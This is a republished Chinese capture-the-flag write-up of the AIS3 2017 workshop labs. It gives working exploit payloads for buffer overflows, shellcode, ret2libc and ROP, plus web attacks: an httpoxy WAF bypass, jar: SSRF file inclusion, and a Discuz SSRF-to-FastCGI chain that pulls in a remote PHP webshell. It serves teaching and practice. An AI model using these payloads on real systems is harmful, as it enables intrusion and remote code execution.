AIS3 2017 Workshop
2017-09-06 17:34:36 Author: blog.kaibro.tw(查看原文) 阅读量:42 收藏

前言

AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。
因為平台好像關惹,我也懶得重搞環境打一次
所以下面解法很多都是憑著印象打出來的,有錯請見諒

lab1

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

#include <stdio.h>

#include <unistd.h>

void get_flag(){

int fd ;

unsigned long password;

unsigned long magic ;

char key[] = "why_my_teammate_Orange_is_so_angry??";

char cipher[] = "hahaha";

fd = open("/dev/urandom",0);

read(fd,&password,8);

printf("Give me maigc :");

scanf("%lu",&magic);

if(password == magic){

for(int i = 0 ; i < sizeof(cipher) ; i++){

printf("%c",cipher[i]^key[i]);

}

}

}

int main(){

setvbuf(stdout,0,2,0);

get_flag();

return 0 ;

}

這題他讀了一個random的的password
然後要我們輸入的magic跟他一樣才會印出flag
要繞過這個判斷
可以用gdb跑
然後先下個斷點讓他停住

1

b *0x4007a1

接著

1

set $rip=0x4007c9

讓她直接跳過判斷去執行後面指令
FLAG就會彈出來了

Practice1

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void l33t(){

puts("Congrat !");

system("/bin/sh");

}

int main(){

char buf[0x20];

setvbuf(stdout,0,2,0);

puts("Buffer overflow is e4sy");

printf("Read your input:");

read(0,buf,100);

return 0 ;

}

這題題目super短,一臉就是直接跳到l33t就能拿到shell的樣子
payload:

1

perl -e 'print "a"x40, "\x46\x06\x40\x00\x00\x00\x00\x00"'

Practice2

1

2

3

4

5

6

7

8

9

10

11

12

13

#include <unistd.h>

#include <stdio.h>

#include "mysandbox.h"

char shellcode[200];

int main(){

setvbuf(stdout,0,2,0);

my_sandbox();

printf("Give me your shellcode:");

read(0,shellcode,200);

(*(void(*)())shellcode)();

}

這題就是執行我們輸入的shellcode
題目還說flag在/home/orw64/flag
就是個寫shellcode的練習

payload:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

from pwn import *

host = "pwnhub.tw"

port = 11112

r = remote(host, port)

context.arch = "amd64"

sc = asm("""

xor rdi, rdi

xor rsi, rsi

xor rdx, rdx

jmp str

open:

pop rdi

mov rax, 2

syscall

read:

mov rdi, rax

mov rsi, rsp

mov rdx, 0x50

xor rax, rax

syscall

mov rdx, rax

mov rsi, rsp

mov rdi, 1

mov rax, 1

syscall

exit:

mov rax, 60

syscall

str:

call open

.ascii '/home/orw64/flag'

.byte 0

""")

r.recvuntil(":")

r.send(sc)

r.interactive()

lab2

1

2

3

4

5

6

7

8

9

10

11

12

13

#include <stdio.h>

char name[50];

int main(){

setvbuf(stdout,0,2,0);

printf("Name:");

read(0,name,50);

char buf[30];

printf("Try your best:");

gets(buf);

return ;

}

這題就是個沒開DEP,然後塞shellcode到name
再蓋return address成name的位址
就能執行shellcode的概念

payload:

1

perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n","a"x62, "\x80\x10\x60\x00\x00\x00\x00\x00"'

FLAG大概長這樣:AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}

lab3

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void See_something(void *addr)

{

unsigned long long *address ;

address = (unsigned long long *)addr ;

printf("The content of the address : %p\n",*address);

};

int main(){

char address[10] ;

char message[256];

unsigned int addr ;

puts("###############################");

puts("Do you know return to library ?");

puts("###############################");

puts("What do you want to see in memory?");

printf("Give me an address (in hex) :");

fflush(stdout);

read(0,address,10);

addr = strtoll(address,0,16);

See_something(addr) ;

printf("Leave some message for me :");

fflush(stdout);

gets(message);

printf("%s\n",message);

puts("Thanks you ~");

return 0 ;

}

這題就是return to libc
可以先塞puts的got位址給他
他會讀出puts_got的值
我們就可以用puts_got - puts_offset算出base address
有base就輕鬆惹
system的位址 = base + system offset
再來參數塞/bin/sh的位址就能拿到shell了

然後64位元參數優先用register傳遞,跟32位元的stack抓參數不太一樣
所以我們要先找個pop rdi的gadget
把/bin/sh的位址pop到rdi裡
再跳到system位址才能拿到shell

payload:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

from pwn import *

puts_got = "601018"

puts_off = 0x6f690

gets_off = 0x6f440

system_off = 0x45390

sh = 0x4003c4

pop_rdi = 0x400843

r = remote('pwnhub.tw', 8088)

r.send(puts_got + "\n")

r.recvuntil('The content of the address : ')

puts_addr = r.recvline()

base = int(puts_addr,16) - puts_off

gets_addr = base + gets_off

system_addr = base + system_off

r.send("A"*280 + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + "\n")

r.interactive()

FLAG看起來長這樣:AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}

lab4

1

2

3

4

5

6

7

8

9

10

#include <stdio.h>

#include <unistd.h>

int main(){

char buf[20];

puts("ROP is easy is'nt it ?");

printf("Your input :");

fflush(stdout);

read(0,buf,160);

}

這題就是要我們自己組ROP拿shell
一般來說這種靜態編譯都有很多ROP gadget
可以用工具ROPgadget –binary simplerop_revenge –ropchain
來幫我們自動組Gadget拿shell
但缺點就是可能太長塞不下,所以要手動組

payload:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

from pwn import *

offset = 40

r = remote('pwnhub.tw',8361)

context.arch = "amd64"

payload = 'a'*40

mov_drdi_rsi = 0x47a502

pop_rdi = 0x401456

pop_rsi = 0x401577

pop_rax_rdx_rbx = 0x478516

syscall = 0x4671b5

buf = 0x6c9a20

rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi,pop_rsi,0,pop_rax_rdx_rbx,0x3b,0,0,syscall])

payload += rop

r.sendline(payload)

r.interactive()

FLAG大概長這樣:AIS3{rop_Rop_Rop_then_RIP}

lab5

1

2

3

4

5

6

7

8

9

10

#include <stdio.h>

#include <stdlib.h>

int main(){

char buf[20];

setvbuf(stdout,0,2,0);

printf("Try your best :");

gets(buf);

puts("boom !");

}

這題題目爆幹短
思路大概是這樣,call puts_plt把puts_got的值輸出出來
然後一樣減掉puts_offset就能得到base address
接著可以再call一次main去構造我們的system(“/bin/sh”)

payload:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

from pwn import *

puts_got = 0x601018

puts_plt = 0x4004e0

puts_off = 0x6f690

system_off = 0x45390

sh_off = 0x18c177

pop_rdi = 0x4006f3

main = 0x400636

r = remote('pwnhub.tw', 56026)

r.send("A"*40 + p64(main) + "\n")

r.send("A"*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")

r.recvuntil('boom !')

print r.recvline()

print r.recvline()

tmp = r.recvline().strip()

print enhex(tmp)

cool = input()

base = cool - puts_off

base2 = cool - puts_off

system = system_off + base2

sh = sh_off + base

r.send("A"*40 + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + "\n")

r.interactive()

bonus

這題沒給source code
objdump出來長這樣:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

./end: file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:

4000b0: 48 31 c0 xor rax,rax

4000b3: 48 31 db xor rbx,rbx

4000b6: 48 31 c9 xor rcx,rcx

4000b9: 48 31 d2 xor rdx,rdx

4000bc: 48 31 ff xor rdi,rdi

4000bf: 48 31 f6 xor rsi,rsi

4000c2: 4d 31 c0 xor r8,r8

4000c5: 4d 31 c9 xor r9,r9

4000c8: 4d 31 d2 xor r10,r10

4000cb: 4d 31 db xor r11,r11

4000ce: 4d 31 e4 xor r12,r12

4000d1: 4d 31 ed xor r13,r13

4000d4: 4d 31 f6 xor r14,r14

4000d7: 4d 31 ff xor r15,r15

4000da: 48 31 ed xor rbp,rbp

4000dd: e8 10 00 00 00 call 4000f2 <_end>

4000e2: b8 3c 00 00 00 mov eax,0x3c

4000e7: 48 31 ff xor rdi,rdi

4000ea: 48 31 f6 xor rsi,rsi

4000ed: 48 31 d2 xor rdx,rdx

4000f0: 0f 05 syscall

00000000004000f2 <_end>:

4000f2: 48 81 ec 28 01 00 00 sub rsp,0x128

4000f9: 48 89 e6 mov rsi,rsp

4000fc: ba 48 01 00 00 mov edx,0x148

400101: 0f 05 syscall

400103: 48 81 c4 28 01 00 00 add rsp,0x128

40010a: c3 ret

這題關鍵就是要構造編號(rax)322的system call: stub_execveat
他跟execve一樣可以叫出shell,底層實作似乎一樣(我沒研究就是惹…
那要怎麼讓rax變成322呢…
很簡單,因為中間會call read讀資料,只要讀322 bytes
返回值rax就會等於322
接著我們輸入的時候一開始直接輸入/bin/sh\0
因為rsi(execveat的filename)原本就是輸入buffer的開頭,也就是/bin/sh,所以也不用特別處理
唯一要注意的是execveat的其他暫存器值要清成0才能work
在這題就是要把rdx清空才行((我一開始一直沒清,想說怎麼一直拿不到shell QQ
可以直接跳到0x4000ed的xor rdx, rdx就行,而且下一行就是syscall,讚讚

payload:

1

perl -e 'print "/bin/sh","\x00","\x0a\x01\x40\x00\x00\x00\x00\x00"x38,"\xed\x00\x40\x00\x00\x00\x00\x00","\xb0\xdd"'

FLAG大概長這樣:AIS3{r0p_is_e4sy_4nd_fUn}

Bonus - HTTProxy

這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix)
然後HTTP_Proxy又會被許多http library當成Proxy用
所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php
內容為<?php echo 'ok'; ?>
接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1
就能繞過waf惹,繞過之後直接對id做SQL injection就能拿到FLAG
hitcon{Did you know httpoxy.org?}

Bonus - Jar

這題有一個可以送出URL的地方
這裡可以SSRF,而且file://可以遍歷目錄
然後仔細觀察可以發現他有個?page=orange的參數
他會去load users/orange.tmp這個檔案

這題就是要利用到jar協議的特性
塞給他一個jar:形式的網址,他會去抓這個檔案做暫存,但是抓完就會刪除暫存
所以就是要想辦法塞給他惡意檔案,然後讓他抓完之後不立刻結束連線
再想辦法去跑這個暫存檔
這裡我是用https://github.com/pwntester/BlockingServer
在機器x.x.x.x上新建kaibro.php
跑Blocking Server: java BlokingServer 12345 kaibro.php
URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/讓它卡住
再來用file:///tmp/去看暫存檔的名字,可能檔名叫jar_cache123456.tmp之類的
然後利用?page=../../../../../../tmp/jar_cache123456就可以跑我們的php囉

FLAG長這樣:hitcon{Life so hard :(}

Bonus - Discuz Pwn

Discuz因為感覺會很難所以沒解,剩下其他題的話解法應該Google都找得到(?

Update:
後來太無聊,跑去架了一樣的Discuz環境打打看
基本上,orange上課的投影片就已經是解法了XDD

因為_dfsockopen實作中,有FOLLOWLOCATION
所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議

在我自己的Server上,建立一個302.php:

1

2

<?php

header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

這一整串噁心的東西,主要就是在偽造FastCGI協議
然後讓他去include我Server上的php script (http://kaibro.tw/x)

Server上的x:

1

<?php system($_GET['cmd']); ?>

然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
它就會成功include我們的x進來
也就可以執行webshell惹


文章来源: http://blog.kaibro.tw/2017/09/06/AIS3-2017-Workshop/
如有侵权请联系:admin#unsafe.sh